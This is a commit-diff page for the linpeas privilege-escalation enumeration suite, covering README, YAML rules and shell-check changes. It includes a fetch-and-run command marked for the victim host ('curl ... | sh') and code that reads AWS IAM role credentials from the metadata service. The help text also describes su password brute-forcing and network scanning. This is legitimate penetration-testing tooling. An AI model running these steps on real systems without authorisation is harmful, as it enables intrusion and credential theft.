mirror of
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
synced 2025-12-15 04:49:01 +00:00
Compare commits
35 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ded6f3045f | ||
|
|
d20638fa7b | ||
|
|
aa69a494b4 | ||
|
|
a4b226c16e | ||
|
|
3cc49b5b9a | ||
|
|
e5b9b67786 | ||
|
|
e29c9e88d5 | ||
|
|
8b6ce759d0 | ||
|
|
116d842158 | ||
|
|
46033a7af0 | ||
|
|
0ab4a65bab | ||
|
|
27d954e03a | ||
|
|
9416b924cb | ||
|
|
6ec25656f2 | ||
|
|
3039ce555d | ||
|
|
d382de1cb1 | ||
|
|
c62a8f8b54 | ||
|
|
a70b9773db | ||
|
|
7a19b0968f | ||
|
|
ce002b9f33 | ||
|
|
1afac19979 | ||
|
|
219b1669c3 | ||
|
|
1274f21097 | ||
|
|
f86e301a1b | ||
|
|
940b4bc791 | ||
|
|
b2e1a4e64a | ||
|
|
cb3e62a3ff | ||
|
|
701d41073a | ||
|
|
31e318c870 | ||
|
|
eb34a006e2 | ||
|
|
3950a1f7bd | ||
|
|
eaac654739 | ||
|
|
7bc53594b0 | ||
|
|
55faa3b5e8 | ||
|
|
8b444ba674 |
6
.github/workflows/CI-master_tests.yml
vendored
6
.github/workflows/CI-master_tests.yml
vendored
@@ -1,10 +1,6 @@
|
||||
name: CI-master_test
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: "5 4 * * SUN"
|
||||
|
||||
|
||||
@@ -413,7 +413,7 @@ search:
|
||||
exec:
|
||||
- 'echo "Apache version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)"'
|
||||
- 'echo "Nginx version: $(warn_exec nginx -v 2>/dev/null)"'
|
||||
- if [ -d "/etc/apache2" ] && [ -r "/etc/apache2" ]; then 'grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null'; fi
|
||||
- if [ -d "/etc/apache2" ] && [ -r "/etc/apache2" ]; then grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null; fi
|
||||
- if [ -d "/usr/share/nginx/modules" ] && [ -r "/usr/share/nginx/modules" ]; then print_3title 'Nginx modules'; ls /usr/share/nginx/modules | sed -${E} "s,$NGINX_KNOWN_MODULES,${SED_GREEN},g"; fi
|
||||
- "print_3title 'PHP exec extensions'"
|
||||
|
||||
@@ -442,11 +442,33 @@ search:
|
||||
value:
|
||||
bad_regex: "On"
|
||||
remove_regex: "^;"
|
||||
line_grep: '"allow_"'
|
||||
line_grep: "allow_"
|
||||
type: f
|
||||
search_in:
|
||||
- common
|
||||
|
||||
|
||||
- name: "nginx.conf"
|
||||
value:
|
||||
bad_regex: "location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\\s+\\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection"
|
||||
remove_regex: "#"
|
||||
type: f
|
||||
remove_empty_lines: True
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: "nginx"
|
||||
value:
|
||||
type: d
|
||||
files:
|
||||
- name: "*.conf"
|
||||
value:
|
||||
bad_regex: "location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\\s+\\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection"
|
||||
remove_empty_lines: True
|
||||
remove_regex: '#'
|
||||
remove_path: "nginx.conf"
|
||||
search_in:
|
||||
- common
|
||||
|
||||
- name: PHP Sessions
|
||||
value:
|
||||
config:
|
||||
|
||||
@@ -22,7 +22,7 @@ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas
|
||||
|
||||
```bash
|
||||
# Local network
|
||||
sudo python -m SimpleHTTPServer 80 #Host
|
||||
sudo python -m http.server 80 #Host
|
||||
curl 10.10.10.10/linpeas.sh | sh #Victim
|
||||
|
||||
# Without curl
|
||||
@@ -47,6 +47,12 @@ chmod +x linpeas_linux_amd64
|
||||
./linpeas_linux_amd64
|
||||
```
|
||||
|
||||
```bash
|
||||
# Execute from memory in Penelope session
|
||||
# From: https://github.com/brightio/penelope
|
||||
> run peass-ng
|
||||
```
|
||||
|
||||
## Firmware Analysis
|
||||
If you have a **firmware** and you want to **analyze it with linpeas** to **search for passwords or bad configured permissions** you have 2 main options.
|
||||
|
||||
@@ -106,25 +112,36 @@ This script has **several lists** included inside of it to be able to **color th
|
||||
```
|
||||
Enumerate and search Privilege Escalation vectors.
|
||||
This tool enum and search possible misconfigurations (known vulns, user, processes and file permissions, special file permissions, readable/writable files, bruteforce other users(top1000pwds), passwords...) inside the host and highlight possible misconfigurations with colors.
|
||||
-h To show this message
|
||||
-q Do not show banner
|
||||
-e Perform extra enumeration
|
||||
-s SuperFast (don't check some time consuming checks) - Stealth mode
|
||||
-a All checks except regexes - Noisy mode, for CTFs mainly
|
||||
-r Activate Regexes (this can take from some mins to several hours)
|
||||
-f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder
|
||||
-w Wait execution between big blocks of checks
|
||||
-N Do not use colours
|
||||
-D Debug mode
|
||||
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
|
||||
-o Only execute selected checks (system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
|
||||
-L Force linpeas execution.
|
||||
-M Force macpeas execution.
|
||||
-d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
|
||||
-p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
|
||||
-i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
|
||||
-t Automatic network scan (host discovery and port scanning) - This option writes to files
|
||||
Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
|
||||
Checks:
|
||||
-o Only execute selected checks (system_information,container,cloud,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_files,api_keys_regex). Select a comma separated list.
|
||||
-s Stealth & faster (don't check some time consuming checks)
|
||||
-e Perform extra enumeration
|
||||
-t Automatic network scan & Internet conectivity checks - This option writes to files
|
||||
-r Enable Regexes (this can take from some mins to hours)
|
||||
-P Indicate a password that will be used to run 'sudo -l' and to bruteforce other users accounts via 'su'
|
||||
-D Debug mode
|
||||
|
||||
Network recon:
|
||||
-t Automatic network scan & Internet conectivity checks - This option writes to files
|
||||
-d <IP/NETMASK> Discover hosts using fping or ping. Ex: -d 192.168.0.1/24
|
||||
-p <PORT(s)> -d <IP/NETMASK> Discover hosts looking for TCP open ports (via nc). By default ports 22,80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports. Ex: -d 192.168.0.1/24 -p 53,139
|
||||
-i <IP> [-p <PORT(s)>] Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead. Ex: -i 127.0.0.1 -p 53,80,443,8000,8080
|
||||
Notice that if you specify some network scan (options -d/-p/-i but NOT -t), no PE check will be performed
|
||||
|
||||
Port forwarding:
|
||||
-F LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT Execute linpeas to forward a port from a local IP to a remote IP
|
||||
|
||||
Firmware recon:
|
||||
-f </FOLDER/PATH> Execute linpeas to search passwords/file permissions misconfigs inside a folder
|
||||
|
||||
Misc:
|
||||
-h To show this message
|
||||
-w Wait execution between big blocks of checks
|
||||
-L Force linpeas execution
|
||||
-M Force macpeas execution
|
||||
-q Do not show banner
|
||||
-N Do not use colours
|
||||
|
||||
```
|
||||
|
||||
## Hosts Discovery and Port Scanning
|
||||
|
||||
@@ -25,7 +25,7 @@ echo ""
|
||||
print_2title "CVEs Check"
|
||||
|
||||
#-- SY) CVE-2021-4034
|
||||
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1642035600" ]; then
|
||||
if [ `command -v pkexec` ] && stat -c '%a' $(which pkexec) | grep -q 4755 && [ "$(stat -c '%Y' $(which pkexec))" -lt "1641942000" ]; then
|
||||
echo "Vulnerable to CVE-2021-4034" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
echo ""
|
||||
fi
|
||||
@@ -42,8 +42,17 @@ fi
|
||||
#-- https://stackoverflow.com/a/37939589
|
||||
kernelversion=$(uname -r | awk -F"-" '{print $1}')
|
||||
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
|
||||
if [ $kernelnumber -ge 5008000000 ] && [ $kernelnumber -lt 5017000000 ]; then # if kernel version beteen 5.8 and 5.17
|
||||
echo "Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
if [ $kernelnumber -ge 5008000000 ] && [ $kernelnumber -lt 5017000000 ]; then # if kernel version between 5.8 and 5.17
|
||||
echo "Potentially Vulnerable to CVE-2022-0847" | sed -${E} "s,.*,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
#-- SY) CVE-2022-2588
|
||||
#-- https://github.com/Markakd/CVE-2022-2588
|
||||
kernelversion=$(uname -r | awk -F"-" '{print $1}')
|
||||
kernelnumber=$(echo $kernelversion | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }')
|
||||
if [ $kernelnumber -ge 3017000000 ] && [ $kernelnumber -lt 5019000000 ]; then # if kernel version between 3.17 and 5.19
|
||||
echo "Potentially Vulnerable to CVE-2022-2588" | sed -${E} "s,.*,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
echo ""
|
||||
@@ -162,7 +171,7 @@ if [ "$(command -v perl 2>/dev/null)" ]; then
|
||||
print_2title "Executing Linux Exploit Suggester 2"
|
||||
print_info "https://github.com/jondonas/linux-exploit-suggester-2"
|
||||
les2_b64="peass{LES2}"
|
||||
echo $les2_b64 | base64 -d | perl | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
|
||||
echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
@@ -77,7 +77,7 @@ enumerateDockerSockets() {
|
||||
dockerVersion="$(echo_not_found)"
|
||||
if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
|
||||
SEARCHED_DOCKER_SOCKETS="1"
|
||||
for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -n -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
|
||||
for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
|
||||
if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
|
||||
if echo "$int_sock" | grep -Eq "docker"; then
|
||||
dock_sock="$int_sock"
|
||||
@@ -285,26 +285,26 @@ if [ "$inContainer" ]; then
|
||||
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
|
||||
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
|
||||
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n"
|
||||
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n"
|
||||
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n"
|
||||
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n"
|
||||
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n"
|
||||
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n"
|
||||
print_list "/sys/kernel/security present ... $security_present\n"
|
||||
print_list "/sys/kernel/security writable .. $security_writable\n"
|
||||
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
if [ "$EXTRA_CHECKS" ]; then
|
||||
print_list "/proc/kmsg readable ............ $kmsg_readable\n"
|
||||
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n"
|
||||
print_list "/proc/self/mem readable ........ $sched_debug_readable\n"
|
||||
print_list "/proc/kcore readable ........... $kcore_readable\n"
|
||||
print_list "/proc/kmem readable ............ $kmem_readable\n"
|
||||
print_list "/proc/kmem writable ............ $kmem_writable\n"
|
||||
print_list "/proc/mem readable ............. $mem_readable\n"
|
||||
print_list "/proc/mem writable ............. $mem_writable\n"
|
||||
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n"
|
||||
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n"
|
||||
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n"
|
||||
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,/Yes,${SED_RED},"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
|
||||
@@ -187,11 +187,11 @@ if [ "$is_aws_ecs" = "Yes" ]; then
|
||||
|
||||
if [ "$aws_ecs_metadata_uri" ]; then
|
||||
print_3title "Container Info"
|
||||
exec_with_jq $aws_ecs_req "$aws_ecs_metadata_uri"
|
||||
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
|
||||
echo ""
|
||||
|
||||
print_3title "Task Info"
|
||||
exec_with_jq $aws_ecs_req "$aws_ecs_metadata_uri/task"
|
||||
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
|
||||
echo ""
|
||||
else
|
||||
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
|
||||
@@ -199,7 +199,7 @@ if [ "$is_aws_ecs" = "Yes" ]; then
|
||||
|
||||
if [ "$aws_ecs_service_account_uri" ]; then
|
||||
print_3title "IAM Role"
|
||||
exec_with_jq $aws_ecs_req "$aws_ecs_service_account_uri"
|
||||
exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
|
||||
echo ""
|
||||
else
|
||||
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
|
||||
@@ -214,52 +214,52 @@ if [ "$is_aws_ec2" = "Yes" ]; then
|
||||
|
||||
aws_req=""
|
||||
if [ "$(command -v curl)" ]; then
|
||||
aws_req='curl -s -f -H "$HEADER"'
|
||||
aws_req="curl -s -f -H '$HEADER'"
|
||||
elif [ "$(command -v wget)" ]; then
|
||||
aws_req='wget -q -O - -H "$HEADER"'
|
||||
aws_req="wget -q -O - -H '$HEADER'"
|
||||
else
|
||||
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
|
||||
fi
|
||||
|
||||
if [ "$aws_req" ]; then
|
||||
printf "ami-id: "; $aws_req "$URL/ami-id"; echo ""
|
||||
printf "instance-action: "; $aws_req "$URL/instance-action"; echo ""
|
||||
printf "instance-id: "; $aws_req "$URL/instance-id"; echo ""
|
||||
printf "instance-life-cycle: "; $aws_req "$URL/instance-life-cycle"; echo ""
|
||||
printf "instance-type: "; $aws_req "$URL/instance-type"; echo ""
|
||||
printf "region: "; $aws_req "$URL/placement/region"; echo ""
|
||||
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
|
||||
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
|
||||
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
|
||||
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
|
||||
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
|
||||
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
|
||||
|
||||
echo ""
|
||||
print_3title "Account Info"
|
||||
exec_with_jq $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||||
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
|
||||
|
||||
echo ""
|
||||
print_3title "Network Info"
|
||||
for mac in $($aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||||
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
|
||||
echo "Mac: $mac"
|
||||
printf "Owner ID: "; $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||||
printf "Public Hostname: "; $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||||
printf "Security Groups: "; $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||||
echo "Private IPv4s:"; $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||||
printf "Subnet IPv4: "; $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||||
echo "PrivateIPv6s:"; $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||||
printf "Subnet IPv6: "; $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||||
echo "Public IPv4s:"; $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||||
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
|
||||
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
|
||||
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
|
||||
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
|
||||
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
|
||||
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
|
||||
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
|
||||
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo ""
|
||||
print_3title "IAM Role"
|
||||
exec_with_jq $aws_req "$URL/iam/info"; echo ""
|
||||
for role in $($aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||||
exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
|
||||
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
|
||||
echo "Role: $role"
|
||||
exec_with_jq $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||||
exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo ""
|
||||
print_3title "User Data"
|
||||
$aws_req "http://169.254.169.254/latest/user-data"
|
||||
eval $aws_req "http://169.254.169.254/latest/user-data"
|
||||
fi
|
||||
fi
|
||||
|
||||
|
||||
@@ -3,146 +3,167 @@
|
||||
#-----) Processes & Cron & Services & Timers (-----#
|
||||
####################################################
|
||||
|
||||
#-- PCS) Cleaned proccesses
|
||||
print_2title "Cleaned processes"
|
||||
if [ "$NOUSEPS" ]; then
|
||||
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
||||
fi
|
||||
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Cleaned proccesses
|
||||
print_2title "Cleaned processes"
|
||||
if [ "$NOUSEPS" ]; then
|
||||
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
|
||||
fi
|
||||
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||
|
||||
if [ "$NOUSEPS" ]; then
|
||||
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
pslist=$(print_ps)
|
||||
else
|
||||
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
|
||||
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
|
||||
cpid=$(echo "$psline" | awk '{print $2}')
|
||||
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
|
||||
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
|
||||
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
|
||||
if [ "$NOUSEPS" ]; then
|
||||
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
pslist=$(print_ps)
|
||||
else
|
||||
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
|
||||
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
|
||||
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
|
||||
cpid=$(echo "$psline" | awk '{print $2}')
|
||||
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
|
||||
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
|
||||
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
pslist=$(ps auxwww)
|
||||
echo ""
|
||||
done
|
||||
pslist=$(ps auxwww)
|
||||
echo ""
|
||||
|
||||
#-- PCS) Binary processes permissions
|
||||
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||
binW="IniTialiZZinnggg"
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
|
||||
if [ -w "$bpath" ]; then
|
||||
binW="$binW|$bpath"
|
||||
fi
|
||||
done
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
|
||||
#-- PCS) Binary processes permissions
|
||||
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
|
||||
binW="IniTialiZZinnggg"
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
|
||||
if [ -w "$bpath" ]; then
|
||||
binW="$binW|$bpath"
|
||||
fi
|
||||
done
|
||||
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
|
||||
fi
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Files opened by processes belonging to other users
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Files opened by processes belonging to other users"
|
||||
print_info "This is usually empty because of the lack of privileges to read other user processes information"
|
||||
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
#-- PCS) Processes with credentials inside memory
|
||||
print_2title "Processes with credentials in memory (root req)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
|
||||
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
|
||||
